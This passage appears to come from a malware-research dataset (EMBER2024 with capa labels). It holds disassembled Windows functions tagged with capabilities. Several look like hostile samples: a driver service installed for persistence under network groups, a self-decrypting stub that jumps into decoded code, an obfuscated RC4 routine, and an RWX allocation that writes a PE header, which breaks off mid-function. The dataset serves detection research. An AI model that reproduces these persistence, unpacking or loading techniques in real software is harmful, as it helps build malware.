joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10078a30
Capabilities:
Create service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x43c
mov eax, dword [0x1010f16c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor bl, bl
push edi
push 0x100e4718
mov dword [ebp - 0x434], eax
xor esi, esi
lea eax, [ebp - 0x414]
mov dword [ebp - 0x43c], 0
push 0x104
push eax
call fcn.100791f0
mov eax, dword [ebp - 0x434]
add esp, 0x10
push edi
test eax, eax
je 0x10078aa1
push eax
push str._S_S.sys
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.100791f0
add esp, 0x14
jmp 0x10078aba
push str.system32drivers_S.sys
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.100791f0
add esp, 0x10
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x434], eax
test eax, eax
jne 0x10078ae7
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100908e7
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
lea ecx, [ebp - 0x43c]
push ecx
push 0x100e4764
lea ecx, [ebp - 0x20c]
push ecx
push 1
push 1
push 1
push 0xf01ff
lea ecx, [ebp - 0x414]
push ecx
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
test byte [0x10112904], 8
mov dword [ebp - 0x438], eax
je 0x10078b56
test eax, eax
je 0x10078b3b
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov bl, 1
jmp 0x10078c0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x431
jne 0x10078c0f
mov bl, 1
jmp 0x10078c0f
test eax, eax
je 0x10078b8c
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
movzx ebx, bl
mov ecx, 1
cmovne ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x438]
mov esi, eax
mov eax, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call eax
jmp 0x10078c0f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x431
jne 0x10078c0f
push 0x14
push edi
push dword [ebp - 0x434]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
mov dword [ebp - 0x438], esi
test esi, esi
je 0x10078c06
lea eax, [ebp - 0x430]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x10078bd6
cmp dword [ebp - 0x42c], 4
jne 0x10078bd6
mov bl, 1
jmp 0x10078bee
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
movzx ebx, bl
mov edx, 1
cmovne ebx, edx
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push dword [ebp - 0x438]
mov esi, eax
mov eax, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call eax
jmp 0x10078c0f
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov esi, eax
push dword [ebp - 0x434]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
push edi
call fcn.10078e00
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [ebp - 4]
pop edi
movzx eax, bl
xor ecx, ebp
pop esi
dec eax
pop ebx
call fcn.100908e7
mov esp, ebp
pop ebp
ret
Function at 0x10078cd0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x1010f16c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.NDIS]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0xc], eax
movzx eax, byte [0x100e4778]
mov byte [ebp - 8], al
mov eax, dword [str.tcpip]
mov dword [ebp - 0x14], eax
mov ax, word [0x100e4780]
mov word [ebp - 0x10], ax
movzx eax, byte [0x100e4782]
mov byte [ebp - 0xe], al
mov eax, dword [str.PNP_TDI]
push ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [0x100e4788]
push str.SYSTEMCurrentControlSetServices_s
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.100791b0
add esp, 0x10
lea eax, [ebp - 0x124]
push eax
push 3
push 0
lea eax, [ebp - 0x120]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x10078d6f
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100908e7
mov esp, ebp
pop ebp
ret
cmp byte [ebp + 0xc], 0
push esi
je 0x10078dac
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0xc]
push 5
push eax
push 1
push 0
push str.Group
push dword [ebp - 0x124]
call esi
push 7
lea eax, [ebp - 0x14]
push eax
push 7
push 0
push str.DependOnService
push dword [ebp - 0x124]
call esi
jmp 0x10078dc7
push 8
lea eax, [ebp - 0x1c]
push eax
push 1
push 0
push str.Group
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x124]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
test esi, esi
pop esi
sete al
xor ecx, ebp
call fcn.100908e7
mov esp, ebp
pop ebp
ret
Function at 0x10093980
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret

Function at 0x100ba14f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.10091e60
mov eax, dword [0x1010f16c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.100c30d4
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x100ba191
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x100ba2ed
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.100d2870
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x10113ff0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.100c4336
mov ecx, dword [esi*4 + 0x10113ff0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x100ba2e6
cmp eax, dword [edi + ecx + 0x24]
jne 0x100ba2e6
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100ba2e6
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100c4336
add esp, 0x14
test edx, edx
jl 0x100ba2e6
jg 0x100ba25c
test eax, eax
jb 0x100ba2e6
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x100ba2e6
jl 0x100ba276
cmp dword [ebp - 0x1008], eax
ja 0x100ba2e6
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x100ba294
test ebx, ebx
je 0x100ba2cd
cmp ecx, edi
jae 0x100ba2cd
mov al, byte [ecx]
cmp al, 0xd
jne 0x100ba2ae
lea eax, [edi - 1]
cmp ecx, eax
jae 0x100ba2ba
cmp byte [ecx + 1], 0xa
jne 0x100ba2ba
inc ecx
jmp 0x100ba2ba
movzx eax, al
movsx eax, byte [eax + 0x1010f4a0]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x100ba294
cmp edx, ebx
jne 0x100ba294
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x100ba2eb
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100908e7
leave
ret

Function at 0x100c1a86
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100ec4d4
push 0x100ec4cc
push str.FlsAlloc
push 0x1e
call fcn.100c18b3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100c1aba
push dword [ebp + 8]
mov ecx, esi
call dword [0x100e44f8]
call esi
jmp 0x100c1ac0
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x100c1b04
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100ec4e4
push 0x100ec4dc
push str.FlsGetValue
push 0x20
call fcn.100c18b3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100c1b3b
push dword [ebp + 8]
mov ecx, esi
call dword [0x100e44f8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x100c47e3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x10113ff0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100c4823
cmp byte [ebx], 0xa
jne 0x100c4823
or byte [eax + edi + 0x28], 4
jmp 0x100c4828
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x100c4926
mov al, byte [edx]
cmp al, 0x1a
je 0x100c4908
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x100c4857
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x100c487c
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x100c4886
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x100c4839
jmp 0x100c4926
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100c4903
cmp dword [ebp - 0xc], 0
je 0x100c4903
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x10113ff0]
test byte [eax + edi + 0x28], 0x48
je 0x100c48dd
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x100c48c8
mov byte [esi], dl
jmp 0x100c48d9
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x10113ff0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x100c4926
cmp byte [ebp - 1], 0xa
jne 0x100c48ec
cmp esi, ebx
jne 0x100c48ec
mov byte [esi], 0xa
jmp 0x100c4925
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.100c4354
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x100c4926
mov byte [esi], 0xd
jmp 0x100c4925
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x10113ff0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100c4922
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100c4926
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100c492f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x10113ff0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100c4972
cmp word [esi], dx
jne 0x100c4972
or byte [edi + eax + 0x28], 4
jmp 0x100c4977
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x100c4aca
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x100c4aaa
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x100c49b9
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x100c49ef
cmp eax, edx
jae 0x100c49fb
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x100c4991
jmp 0x100c4aca
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100c4aa6
cmp dword [ebp - 0x14], 0
je 0x100c4aa6
mov eax, dword [ebx*4 + 0x10113ff0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x100c4a7e
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x100c4a47
mov word [esi], cx
jmp 0x100c4a7a
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x10113ff0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x10113ff0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x10113ff0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x100c4aca
pop ebx
cmp word [ebp - 4], bx
jne 0x100c4a8f
cmp esi, dword [ebp + 0xc]
jne 0x100c4a8f
mov word [esi], bx
jmp 0x100c4ac7
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.100c4354
add esp, 0x10
cmp word [ebp - 4], bx
je 0x100c4aca
push 0xd
jmp 0x100c4ac3
mov ecx, dword [ebx*4 + 0x10113ff0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100c4ac1
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100c4aca
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x100c52eb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100c515c
Function at 0x100ca600
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x100ca69d
push ebx
push esi
call fcn.100ca5c9
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.100c64b2
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x100ca64a
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100ca69c
push edi
push eax
call fcn.100c152d
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x100ca66a
call fcn.100c157b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x100ca69b
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.100c64b2
add esp, 0x20
test eax, eax
jne 0x100ca689
push edi
call fcn.100c157b
jmp 0x100ca691
push ebx
call fcn.100c157b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x100ca6a0
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100ca6b1
pop esi
ret
push ebx
push edi
push esi
call fcn.100ca5c9
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.100c152d
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x100ca6d9
push ebx
push esi
push edi
call fcn.100a82c0
add esp, 0xc
push 0
call fcn.100c157b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x100caa9d
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.100ca6ee
Function at 0x100d1b7d
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100d1af9
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x100d1cf5
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x100d1cf5
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x100d1ca4
jg 0x100d1bd6
test eax, eax
je 0x100d1c9a
push 1
push 0x1000
call fcn.100c15b5
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x100d1bfc
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x100d1c91
push 0x8000
push ebx
call fcn.100d1a2a
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x100d1c28
jg 0x100d1c23
cmp ecx, 0x1000
jb 0x100d1c28
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.100c3f4d
add esp, 0x10
cmp eax, 0xffffffff
je 0x100d1c6d
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x100d1c23
jl 0x100d1c54
test ecx, ecx
jne 0x100d1c15
push dword [ebp - 0xc]
push ebx
call fcn.100d1a2a
push esi
call fcn.100c157b
add esp, 0xc
xor edi, edi
jmp 0x100d1d06
cmp byte [edi + 0x24], 0
je 0x100d1c84
cmp dword [edi + 0x20], 5
jne 0x100d1c84
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x100d1c8f
mov edi, dword [edi + 0x18]
jmp 0x100d1c91
xor edi, edi
push esi
call fcn.100c157b
pop ecx
jmp 0x100d1d06
test ecx, ecx
jg 0x100d1c66
jl 0x100d1ca4
test eax, eax
jae 0x100d1c66
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.100c4354
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x100d1cc7
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x100d1c66
jmp 0x100d1cfe
push ebx
call fcn.100cdb96
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x100d1c66
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x100d1d06
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x100d1d03
mov edi, dword [edi + 0x18]
jmp 0x100d1d06
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.100c4354
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x101944ce
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101b16d0]
jne 0x101944d8
repz ret
jmp fcn.101953ec

Function at 0x101965eb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10193884
and dword [ebp - 4], 0
cmp dword [0x101b31fc], 0
mov ebx, eax
jne 0x1019669c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1019674d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1019674d
push eax
call fcn.10193812
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x101b31fc], eax
call esi
push eax
call fcn.10193812
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x101b3200], eax
call esi
push eax
call fcn.10193812
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x101b3204], eax
call esi
push eax
call fcn.10193812
pop ecx
mov dword [0x101b320c], eax
test eax, eax
je 0x1019669c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10193812
pop ecx
mov dword [0x101b3208], eax
mov eax, dword [0x101b3208]
cmp eax, ebx
je 0x101966f4
cmp dword [0x101b320c], ebx
je 0x101966f4
push eax
call fcn.1019388d
push dword [0x101b320c]
mov esi, eax
call fcn.1019388d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x101966f4
test edi, edi
je 0x101966f4
call esi
test eax, eax
je 0x101966eb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x101966eb
test byte [ebp - 0xc], 1
jne 0x101966f4
or dword [ebp + 0x10], 0x200000
jmp 0x1019672d
mov eax, dword [0x101b3200]
cmp eax, ebx
je 0x1019672d
push eax
call fcn.1019388d
pop ecx
test eax, eax
je 0x1019672d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1019672d
mov eax, dword [0x101b3204]
cmp eax, ebx
je 0x1019672d
push eax
call fcn.1019388d
pop ecx
test eax, eax
je 0x1019672d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x101b31fc]
call fcn.1019388d
pop ecx
test eax, eax
je 0x1019674d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1019674f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10197aae
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov edi, 0x11f9
mov dword [0x101b0f20], 0
mov byte [0x101b0f24], 0
mov dword [0x101b0f14], 0x1887
mov dword [0x101b0f1c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x20], edi
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov edx, 0x41f
mov ebx, ecx
mov dword [0x101b0f18], eax
mov eax, dword [ebp - 0x18]
mov byte [eax + ecx], bl
mov dword [0x101b0f14], 0xaad
mov ecx, dword [0x101b0f1c]
add ecx, 1
mov dword [0x101b0f1c], ecx
cmp ecx, 0x100
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
jl 0x10197afb
xor eax, eax
mov dword [0x101b0f14], 0xfffff035
mov dword [0x101b0f1c], 0
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, 0x100
mov dword [0x101b0f28], 0
mov dword [ebp - 0x28], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov edi, dword [0x101b0f18]
mov ebx, edi
add ebx, 0x1f68
mov dword [0x101b0f14], ebx
mov ebx, dword [0x101b0f20]
mov esi, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
mov ecx, dword [ebp - 0x28]
movzx ecx, byte [esi + ecx]
add ecx, ebx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add ecx, edx
mov dword [0x101b0f28], ecx
add edi, 0xfffffb7b
mov dword [0x101b0f18], edi
mov eax, ecx
cdq
mov ecx, dword [ebp - 0x2c]
idiv ecx
mov dword [0x101b0f20], edx
mov dword [0x101b0f14], 0xb5f
mov edi, dword [ebp - 0x28]
mov cl, byte [esi + edi]
mov byte [0x101b0f24], cl
mov dword [0x101b0f18], 0x148d
mov cl, byte [esi + edx]
mov byte [esi + edi], cl
mov edx, dword [0x101b0f14]
add edx, 0xfffffb13
mov dword [0x101b0f18], edx
mov cl, byte [0x101b0f24]
mov edx, dword [0x101b0f20]
mov byte [esi + edx], cl
mov dword [0x101b0f14], 0x106c
mov edx, dword [0x101b0f1c]
add edx, 1
mov dword [0x101b0f1c], edx
cmp edx, 0x100
mov dword [ebp - 0x24], edx
jl 0x10197b56
mov dword [0x101b0f14], 0x3b1
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10197d32
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 1
lea esi, [ebp - 0x24]
mov dword [0x101b0f14], 0x15fa
mov dword [0x101b0f18], 0xfffffb3e
mov byte [ebp - 0x24], 0x56
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1019a1dc]
mov dh, byte [eax + 0x1019a1ad]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x34], ecx
jne 0x10197d6b
mov dword [0x101b0f18], 0x10bc
mov dword [0x101b0f14], 0x1c28
call fcn.10198396
mov dword [esp], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 4], eax
call fcn.10197606
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
je 0x10197e7c
mov dword [0x101b0f18], 0x6ae
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x101b0f14], 0x1d1e
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x40], eax
call fcn.101987ad
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
